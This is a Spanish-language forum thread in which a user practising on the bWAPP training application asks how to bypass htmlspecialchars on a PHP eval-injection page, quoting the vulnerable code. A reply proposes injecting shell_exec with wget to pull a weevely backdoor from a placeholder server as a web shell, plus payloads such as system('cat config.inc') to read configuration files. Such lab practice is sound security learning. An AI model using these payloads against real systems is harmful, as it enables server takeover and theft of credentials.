Underc0de

Foros Generales => Dudas y pedidos generales => Mensaje iniciado por: Olger346 en Noviembre 06, 2017, 01:48:08 PM

Título: [SOLUCIONADO] bWAPP PHP code Injection
Publicado por: Olger346 en Noviembre 06, 2017, 01:48:08 PM
Buenas a todos. Hace muuuucho tiempo que no posteo nada.
Hoy decidí practicar nuevamente con la aplicación bwapp de owasp. En el nivel intermedio tenemos algo curioso en la aplicación y es que ahora acepta caracteres especiales que dificultan la ejecición de codigo en funciones como exec, shell_exec, que en el nivel simple se dan muy bien...
(https://i.imgur.com/hP3oAiM.png)

Mi duda... ¿Cómo puedo bypasear esta sentencia de código?
<?php

if(isset($_REQUEST["message"]))
{

    
// If the security level is not MEDIUM or HIGH
    
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
    {

?>

    <p><i><?php @eval ("echo " $_REQUEST["message"] . ";");?></i></p>

<?php

    
}

    
// If the security level is MEDIUM or HIGH
    
else
    {
?>

    <p><i><?php echo htmlspecialchars($_REQUEST["message"], ENT_QUOTES"UTF-8");;?></i></p>

<?php

    
}

}

?>


Estuve sviendo algunos videos acerca de esta función y por lo que he comprendido anula las comillas simples y dobles, sin embargo el ampersant && la app cambia su comportamiento, todo lo que va despues del & queda ignorado a la vista del navegador.
Título: Re:bWAPP PHP code Injection
Publicado por: Mortal_Poison en Noviembre 06, 2017, 02:44:27 PM
Hola Olger346, (https://underc0de.org/foro/profile/Olger346/)

Existen diversas formas, sin embargo, genera un backdoor con weevely y ese backdoor lo subes a una plataforma de almacenamiento.

Si notas, el message lo recibe como parámetro, por tanto, puedes ejecutar lo siguiente con un wget y hacerle una inyección para subirle shell.

Código (php) [Seleccionar]
shell_exec(wget tu_servidor_donde_alojaste_tu_backdoor.com/mortal.txt -O output.php)

Y listo, accederías según veo, a tu dirección 192.168.1.127/bWAPP/shell.php.


Se me olvidó, no revisé lo de htmlspecialchars, al no permitir el shell_exec y filtrar, lo que podemos hacer es: intentar poner por ejemplo: message=cualquiera;system('ls -la');

También podrías intentar message=system(%27cat%20config.inc%27); e irte a ver el código fuente, a ver si lograses ver información útil.



Un saludo.
Título: Re:bWAPP PHP code Injection
Publicado por: Olger346 en Noviembre 07, 2017, 11:01:38 PM
Muchas gracias por tu comentario, intentaré algo extra con la información que me has proporcionado